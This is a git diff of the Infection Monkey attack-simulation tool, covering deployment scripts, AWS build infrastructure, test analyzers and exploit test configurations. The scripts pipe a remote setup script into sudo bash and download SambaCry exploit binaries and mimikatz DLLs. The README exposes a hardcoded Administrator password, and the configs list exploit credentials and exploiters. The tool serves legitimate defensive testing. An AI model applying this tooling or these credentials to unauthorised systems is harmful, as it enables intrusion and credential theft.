-${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error - +if ! exists mongod; then + log_message "Installing MongoDB" + "${ISLAND_PATH}"/linux/install_mongo.sh ${MONGO_PATH} || handle_error +fi log_message "Installing openssl" sudo apt-get install openssl # Generate SSL certificate log_message "Generating certificate" -cd ${ISLAND_PATH} || handle_error -openssl genrsa -out cc/server.key 1024 || handle_error -openssl req -new -key cc/server.key -out cc/server.csr \ --subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error -openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error - -sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error -${ISLAND_PATH}/linux/create_certificate.sh || handle_error - -# Install npm -log_message "Installing npm" -sudo apt-get install npm +"${ISLAND_PATH}"/linux/create_certificate.sh ${ISLAND_PATH}/cc # Update node -log_message "Updating node" -curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - -sudo apt-get install -y nodejs +if ! exists npm; then + log_message "Installing nodejs" + node_src=https://deb.nodesource.com/setup_12.x + if exists curl; then + curl -sL $node_src | sudo -E bash - + else + wget -q -O - $node_src | sudo -E bash - + fi + sudo apt-get install -y nodejs +fi + +pushd "$ISLAND_PATH/cc/ui" || handle_error +npm install sass-loader node-sass webpack --save-dev +npm update log_message "Generating front end" -cd "$ISLAND_PATH/cc/ui" || handle_error -npm update npm run dist +popd || handle_error -# Monkey setup -log_message "Installing monkey requirements" -sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 -cd ${monkey_home}/monkey/infection_monkey || handle_error -python -m pip install --user -r requirements_linux.txt || handle_error +# Making dir for binaries +mkdir "${MONKEY_BIN_DIR}" -# Build samba -log_message "Building samba binaries" -sudo apt-get install gcc-multilib -cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner -sudo chmod +x ./build.sh || handle_error -./build.sh +# Download sambacry binaries +log_message "Downloading sambacry binaries" +# shellcheck disable=SC2086 +if exists wget; then + wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_64_BINARY_URL} + wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_32_BINARY_URL} +else + curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL} + curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL} +fi +# Download traceroute binaries +log_message "Downloading traceroute binaries" +# shellcheck disable=SC2086 +if exists wget; then + wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_64_BINARY_URL} + wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_32_BINARY_URL} +else + curl -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL} + curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} +fi -sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh +sudo chmod +x "${INFECTION_MONKEY_DIR}/build_linux.sh" log_message "Deployment script finished." exit 0 diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 17d08ecc8..6872f5c3a 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -1,17 +1,40 @@ -function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){ - # Import the config variables - . ./config.ps1 - "Config variables from config.ps1 imported" - - # If we want monkey in current dir we need to create an empty folder for source files - if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){ - $monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME - } +param( + [Parameter(Mandatory = $false, Position = 0)] + [String] $monkey_home = (Get-Item -Path ".\").FullName, + [Parameter(Mandatory = $false, Position = 1)] + [System.String] + $branch = "develop", + [Parameter(Mandatory = $false, Position = 2)] + [Bool] + $agents = $true +) +function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop") +{ + Write-Output "Downloading to $monkey_home" + Write-Output "Branch $branch" # Set variables for script execution [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $webClient = New-Object System.Net.WebClient + + # Import the config variables + $config_filename = New-TemporaryFile + $config_filename = "config.ps1" + $config_url = "https://raw.githubusercontent.com/guardicore/monkey/" + $branch + "/deployment_scripts/config.ps1" + $webClient.DownloadFile($config_url, $config_filename) + . ./config.ps1 + "Config variables from config.ps1 imported" + Remove-Item $config_filename + + + # If we want monkey in current dir we need to create an empty folder for source files + if ((Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '')) + { + $monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME + } + + # We check if git is installed try { @@ -25,15 +48,22 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, } # Download the monkey - $output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" + $command = "git clone --single-branch --recurse-submodules -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" + Write-Output $command + $output = cmd.exe /c $command $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin") - if ( $output -like "*already exists and is not an empty directory.*"){ + if ($output -like "*already exists and is not an empty directory.*") + { "Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory." - } elseif ($output -like "fatal:*"){ + } + elseif ($output -like "fatal:*") + { "Error while cloning monkey from the repository:" $output return - } else { + } + else + { "Monkey cloned from the repository" # Create bin directory New-Item -ItemType directory -path $binDir @@ -44,59 +74,68 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, try { $version = cmd.exe /c '"python" --version 2>&1' - if ( $version -like 'Python 2.7.*' ) { - "Python 2.7.* was found, installing dependancies" - } else { + if ($version -like 'Python 3.*') + { + "Python 3.* was found, installing dependencies" + } + else + { throw System.Management.Automation.CommandNotFoundException } } catch [System.Management.Automation.CommandNotFoundException] { - "Downloading python 2.7 ..." + "Downloading python 3 ..." + "Select 'add to PATH' when installing" $webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER) Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop - $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "User") Remove-Item $TEMP_PYTHON_INSTALLER # Check if installed correctly $version = cmd.exe /c '"python" --version 2>&1' - if ( $version -like '* is not recognized*' ) { - "Python is not found in PATH. Add it manually or reinstall python." + if ($version -like '* is not recognized*') + { + "Python is not found in PATH. Add it to PATH and relaunch the script." return } } - # Set python home dir - $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source) - - # Get vcforpython27 before installing requirements - "Downloading Visual C++ Compiler for Python 2.7 ..." - $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) - Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop - $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") - Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER - - # Install requirements for island - $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop "Upgrading pip..." $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' $output - if ( $output -like '*No module named pip*' ) { + if ($output -like '*No module named pip*') + { "Make sure pip module is installed and re-run this script." return } + + "Installing python packages for island" + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop & python -m pip install --user -r $islandRequirements - # Install requirements for monkey - $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt" + "Installing python packages for monkey" + $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" & python -m pip install --user -r $monkeyRequirements + $user_python_dir = cmd.exe /c 'py -m site --user-site' + $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts" + if (!($ENV:Path | Select-String -SimpleMatch $user_python_dir)) + { + "Adding python scripts path to user's env" + $env:Path += ";" + $user_python_dir + [Environment]::SetEnvironmentVariable("Path", $env:Path, "User") + } + # Download mongodb - if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){ + if (!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb"))) + { "Downloading mongodb ..." $webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP) "Unzipping mongodb" Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir # Get unzipped folder's name - $mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name + $mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript { + ($_.Name -like "mongodb*") + } | Select-Object -ExpandProperty Name # Move all files from extracted folder to mongodb folder New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") @@ -127,23 +166,30 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, . .\windows\create_certificate.bat Pop-Location - # Adding binaries - "Adding binaries" - $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") - New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue - $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) - $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) - $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) - $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) + if ($agents) + { + # Adding binaries + "Adding binaries" + $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) + $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) + } + # Check if NPM installed "Installing npm" try { $version = cmd.exe /c '"npm" --version 2>&1' - if ( $version -like "*is not recognized*"){ + if ($version -like "*is not recognized*") + { throw System.Management.Automation.CommandNotFoundException - } else { + } + else + { "Npm already installed" } } @@ -152,7 +198,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Downloading npm ..." $webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER) Start-Process -Wait $TEMP_NPM_INSTALLER - $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") Remove-Item $TEMP_NPM_INSTALLER } @@ -162,18 +208,13 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, & npm run dist Pop-Location - # Install pywin32 - "Downloading pywin32" - $webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER) - Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop - Remove-Item $TEMP_PYWIN32_INSTALLER - # Create infection_monkey/bin directory if not already present $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin") New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue # Download upx - if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){ + if (!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe"))) + { "Downloading upx ..." $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP) "Unzipping upx" @@ -187,12 +228,14 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, # Download mimikatz binaries $mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL - if(!(Test-Path -Path $mk32_path )){ + if (!(Test-Path -Path $mk32_path)) + { "Downloading mimikatz 32 binary" $webClient.DownloadFile($MK32_DLL_URL, $mk32_path) } $mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL - if(!(Test-Path -Path $mk64_path )){ + if (!(Test-Path -Path $mk64_path)) + { "Downloading mimikatz 64 binary" $webClient.DownloadFile($MK64_DLL_URL, $mk64_path) } @@ -200,12 +243,14 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, # Download sambacry binaries $samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR $samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME - if(!(Test-Path -Path $samba32_path )){ + if (!(Test-Path -Path $samba32_path)) + { "Downloading sambacry 32 binary" $webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path) } $samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME - if(!(Test-Path -Path $samba64_path )){ + if (!(Test-Path -Path $samba64_path)) + { "Downloading sambacry 64 binary" $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) } @@ -213,3 +258,4 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Script finished" } +Deploy-Windows -monkey_home $monkey_home -branch $branch diff --git a/deployment_scripts/run_script.bat b/deployment_scripts/run_script.bat deleted file mode 100644 index 3dcd62760..000000000 --- a/deployment_scripts/run_script.bat +++ /dev/null @@ -1,8 +0,0 @@ -SET command=. .\deploy_windows.ps1; Deploy-Windows -if NOT "%~1" == "" ( - SET "command=%command% -monkey_home %~1" -) -if NOT "%~2" == "" ( - SET "command=%command% -branch %~2" -) -powershell -ExecutionPolicy ByPass -Command %command% \ No newline at end of file diff --git a/docker/Dockerfile b/docker/Dockerfile index 2d0d0b55b..aec69fd32 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -2,7 +2,7 @@ FROM debian:stretch-slim LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>" -ARG RELEASE=1.6 +ARG RELEASE=1.8.0 ARG DEBIAN_FRONTEND=noninteractive EXPOSE 5000 diff --git a/envs/monkey_maker/README.md b/envs/monkey_maker/README.md new file mode 100644 index 000000000..d80a211e1 --- /dev/null +++ b/envs/monkey_maker/README.md @@ -0,0 +1,57 @@ +# Monkey maker + +## About + +Monkey maker is an environment on AWS that +is designed for monkey binary building. +This environment is deployed using terraform scripts +located in this directory. + +## Setup + +To setup you need to put `accessKeys` file into `./aws_keys` directory. + +Contents of `accessKeys` file should be as follows: + +```ini +[default] +aws_access_key_id = <...> +aws_secret_access_key = <...> +``` +Also review `./terraform/config.tf` file. + +Launch the environment by going into `terraform` folder and running +``` +terraform init +terraform apply +``` + +## Usage + +To login to windows use Administrator: %HwuzI!Uzsyfa=cB*XaQ6xxHqopfj)h) credentials + +You'll find docker files in `/home/ubuntu/docker_envs/linux/...` + +To build docker image for 32 bit linux: +``` +cd /home/ubuntu/docker_envs/linux/py3-32 +sudo docker build -t builder32 . +``` + +To build docker image for 64 bit linux: +``` +cd /home/ubuntu/docker_envs/linux/py3-64 +sudo docker build -t builder64 . +``` + +To build 32 bit monkey binary: +``` +cd /home/ubuntu/monkey_folder/monkey +sudo docker run -v "$(pwd):/src" builder32 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh" +``` + +To build 64 bit monkey binary: +``` +cd /home/ubuntu/monkey_folder/monkey +sudo docker run -v "$(pwd):/src" builder64 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh" +``` diff --git a/envs/monkey_maker/aws_keys/.gitignore b/envs/monkey_maker/aws_keys/.gitignore new file mode 100644 index 000000000..5e7d2734c --- /dev/null +++ b/envs/monkey_maker/aws_keys/.gitignore @@ -0,0 +1,4 @@ +# Ignore everything in this directory +* +# Except this file +!.gitignore diff --git a/envs/monkey_maker/terraform/config.tf b/envs/monkey_maker/terraform/config.tf new file mode 100644 index 000000000..9884c24a2 --- /dev/null +++ b/envs/monkey_maker/terraform/config.tf @@ -0,0 +1,5 @@ +provider "aws" { + version = "~> 2.0" + region = "eu-central-1" + shared_credentials_file = "../aws_keys/accessKeys" +} diff --git a/envs/monkey_maker/terraform/infra.tf b/envs/monkey_maker/terraform/infra.tf new file mode 100644 index 000000000..39937f974 --- /dev/null +++ b/envs/monkey_maker/terraform/infra.tf @@ -0,0 +1,61 @@ +resource "aws_vpc" "monkey_maker" { + cidr_block = "10.0.0.0/24" + enable_dns_support = true + tags = { + Name = "monkey_maker_vpc" + } +} + +resource "aws_internet_gateway" "monkey_maker_gateway" { + vpc_id = "${aws_vpc.monkey_maker.id}" + + tags = { + Name = "monkey_maker_gateway" + } +} + +// create routing table which points to the internet gateway +resource "aws_route_table" "monkey_maker_route" { + vpc_id = "${aws_vpc.monkey_maker.id}" + + route { + cidr_block = "0.0.0.0/0" + gateway_id = "${aws_internet_gateway.monkey_maker_gateway.id}" + } + + tags = { + Name = "monkey_maker_route" + } +} + +// associate the routing table with the subnet +resource "aws_route_table_association" "subnet-association" { + subnet_id = "${aws_subnet.main.id}" + route_table_id = "${aws_route_table.monkey_maker_route.id}" +} + +resource "aws_subnet" "main" { + vpc_id = "${aws_vpc.monkey_maker.id}" + cidr_block = "10.0.0.0/24" + + tags = { + Name = "Main" + } +} + +resource "aws_security_group" "monkey_maker_sg" { + name = "monkey_maker_sg" + description = "Allow remote access to the island" + vpc_id = "${aws_vpc.monkey_maker.id}" + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "monkey_maker_sg" + } +} diff --git a/envs/monkey_maker/terraform/instances.tf b/envs/monkey_maker/terraform/instances.tf new file mode 100644 index 000000000..b46f04910 --- /dev/null +++ b/envs/monkey_maker/terraform/instances.tf @@ -0,0 +1,25 @@ +resource "aws_instance" "island_windows" { + ami = "ami-033b3ef27f8d1881d" + instance_type = "t2.micro" + private_ip = "10.0.0.251" + subnet_id = "${aws_subnet.main.id}" + key_name = "monkey_maker" + tags = { + Name = "monkey_maker_windows" + } + vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"] + associate_public_ip_address = true +} + +resource "aws_instance" "island_linux" { + ami = "ami-0495203541087740a" + instance_type = "t2.micro" + private_ip = "10.0.0.252" + subnet_id = "${aws_subnet.main.id}" + key_name = "monkey_maker" + tags = { + Name = "monkey_maker_linux" + } + vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"] + associate_public_ip_address = true +} diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py new file mode 100644 index 000000000..d6043feeb --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py @@ -0,0 +1,8 @@ +from abc import ABCMeta, abstractmethod + + +class Analyzer(object, metaclass=ABCMeta): + + @abstractmethod + def analyze_test_results(self): + raise NotImplementedError() diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py index 491b534b8..22841f783 100644 --- a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py @@ -1,7 +1,8 @@ +from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog -class CommunicationAnalyzer(object): +class CommunicationAnalyzer(Analyzer): def __init__(self, island_client, machine_ips): self.island_client = island_client diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py new file mode 100644 index 000000000..3e1c48199 --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -0,0 +1,59 @@ +import logging +from datetime import timedelta + +from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient + +MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) +MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) + +REPORT_URLS = [ + "api/report/security", + "api/attack/report", + "api/report/zero_trust/findings", + "api/report/zero_trust/principles", + "api/report/zero_trust/pillars" +] + +logger = logging.getLogger(__name__) + + +class PerformanceAnalyzer(Analyzer): + + def __init__(self, island_client: MonkeyIslandClient, break_if_took_too_long=False): + self.break_if_took_too_long = break_if_took_too_long + self.island_client = island_client + + def analyze_test_results(self) -> bool: + if not self.island_client.is_all_monkeys_dead(): + raise RuntimeError("Can't test report times since not all Monkeys have died.") + + # Collect timings for all pages + self.island_client.clear_caches() + report_resource_to_response_time = {} + for url in REPORT_URLS: + report_resource_to_response_time[url] = self.island_client.get_elapsed_for_get_request(url) + + # Calculate total time and check each page + single_page_time_less_then_max = True + total_time = timedelta() + for page, elapsed in report_resource_to_response_time.items(): + logger.info(f"page {page} took {str(elapsed)}") + total_time += elapsed + if elapsed > MAX_ALLOWED_SINGLE_PAGE_TIME: + single_page_time_less_then_max = False + + total_time_less_then_max = total_time < MAX_ALLOWED_TOTAL_TIME + + logger.info(f"total time is {str(total_time)}") + + performance_is_good_enough = total_time_less_then_max and single_page_time_less_then_max + + if self.break_if_took_too_long and not performance_is_good_enough: + logger.warning( + "Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done " + "investigating. Type 'p timings' and 'p total_time' to see performance information." + ) + breakpoint() + + return performance_is_good_enough diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 479c41bab..27a54222b 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,3 +1,4 @@ +from datetime import timedelta from time import sleep import json @@ -85,3 +86,23 @@ class MonkeyIslandClient(object): def is_all_monkeys_dead(self): query = {'dead': False} return len(self.find_monkeys_in_db(query)) == 0 + + def clear_caches(self): + """ + Tries to clear caches. + :raises: If error (by error code), raises the error + :return: The response + """ + response = self.requests.get("api/test/clear_caches") + response.raise_for_status() + return response + + def get_elapsed_for_get_request(self, url): + response = self.requests.get(url) + if response.ok: + LOGGER.debug(f"Got ok for {url} content peek:\n{response.content[:120].strip()}") + return response.elapsed + else: + LOGGER.error(f"Trying to get {url} but got unexpected {str(response)}") + # instead of raising for status, mark failed responses as maxtime + return timedelta.max() diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index e62cb2121..23f259a9c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -1,4 +1,5 @@ import requests +import functools # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' import logging @@ -8,6 +9,7 @@ NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d206 LOGGER = logging.getLogger(__name__) +# noinspection PyArgumentList class MonkeyIslandRequests(object): def __init__(self, server_address): self.addr = "https://{IP}/".format(IP=server_address) @@ -21,29 +23,52 @@ class MonkeyIslandRequests(object): "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr)) assert False + class _Decorators: + @classmethod + def refresh_jwt_token(cls, request_function): + @functools.wraps(request_function) + def request_function_wrapper(self, *args, **kwargs): + self.token = self.try_get_jwt_from_server() + # noinspection PyArgumentList + return request_function(self, *args, **kwargs) + + return request_function_wrapper + def get_jwt_from_server(self): - resp = requests.post(self.addr + "api/auth", + resp = requests.post(self.addr + "api/auth", # noqa: DUO123 json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, verify=False) return resp.json()["access_token"] + @_Decorators.refresh_jwt_token def get(self, url, data=None): - return requests.get(self.addr + url, + return requests.get(self.addr + url, # noqa: DUO123 headers=self.get_jwt_header(), params=data, verify=False) + @_Decorators.refresh_jwt_token def post(self, url, data): - return requests.post(self.addr + url, + return requests.post(self.addr + url, # noqa: DUO123 data=data, headers=self.get_jwt_header(), verify=False) + @_Decorators.refresh_jwt_token def post_json(self, url, dict_data): - return requests.post(self.addr + url, + return requests.post(self.addr + url, # noqa: DUO123 json=dict_data, headers=self.get_jwt_header(), verify=False) + @_Decorators.refresh_jwt_token + def delete(self, url): + return requests.delete( # noqa: DOU123 + self.addr + url, + headers=self.get_jwt_header(), + verify=False + ) + + @_Decorators.refresh_jwt_token def get_jwt_header(self): return {"Authorization": "JWT " + self.token} diff --git a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf index 1b55557a9..0b897080b 100644 --- a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf +++ b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf @@ -24,7 +24,7 @@ "local_network_scan": false, "subnet_scan_list": [ "10.2.2.3", - "10.2.2.10" + "10.2.2.2" ] }, "network_analysis": { diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf similarity index 70% rename from envs/monkey_zoo/configs/fullTest.conf rename to envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf index d90d84ca4..ebe3d8814 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf @@ -2,15 +2,18 @@ "basic": { "credentials": { "exploit_password_list": [ - "`))jU7L(w}", - "3Q=(Ge(+&w]*", - "^NgDvY59~8", - "Ivrrw5zEzs", - "YbS,<tpS.2av" + "Password1!", + "12345678", + "^NgDvY59~8" ], "exploit_user_list": [ - "m0nk3y" + "Administrator", + "m0nk3y", + "user" ] + }, + "general": { + "should_exploit": true } }, "basic_network": { @@ -20,24 +23,7 @@ "local_network_scan": false, "subnet_scan_list": [ "10.2.2.2", - "10.2.2.3", - "10.2.2.4", - "10.2.2.5", - "10.2.2.8", - "10.2.2.9", - "10.2.1.9", - "10.2.1.10", - "10.2.2.11", - "10.2.2.12", - "10.2.2.14", - "10.2.2.15", - "10.2.2.16", - "10.2.2.18", - "10.2.2.19", - "10.2.2.20", - "10.2.2.21", - "10.2.2.23", - "10.2.2.24" + "10.2.2.4" ] }, "network_analysis": { @@ -47,10 +33,9 @@ "cnc": { "servers": { "command_servers": [ - "192.168.56.1:5000", - "158.129.18.132:5000" + "10.2.2.251:5000" ], - "current_server": "192.168.56.1:5000", + "current_server": "10.2.2.251:5000", "internet_services": [ "monkey.guardicore.com", "www.google.com" @@ -60,24 +45,21 @@ "exploits": { "general": { "exploiter_classes": [ - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "SambaCryExploiter", + "SSHExploiter", + "MSSQLExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", "HadoopExploiter" ], "skip_exploit_if_file_exist": false }, "ms08_067": { "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", @@ -110,16 +92,15 @@ "MySQLFinger", "MSSQLFinger", "ElasticFinger" - ], - "scanner_class": "TcpScanner" + ] }, "dropper": { "dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_set_date": true, "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_try_move_first": true }, "exploits": { @@ -128,7 +109,8 @@ "exploit_ssh_keys": [] }, "general": { - "keep_tunnel_open_time": 60, + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" }, "kill_file": { @@ -145,32 +127,34 @@ }, "monkey": { "behaviour": { - "self_delete_in_cleanup": false, + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, "serialize_config": false, "use_file_logging": true }, "general": { "alive": true, - "post_breach_actions": 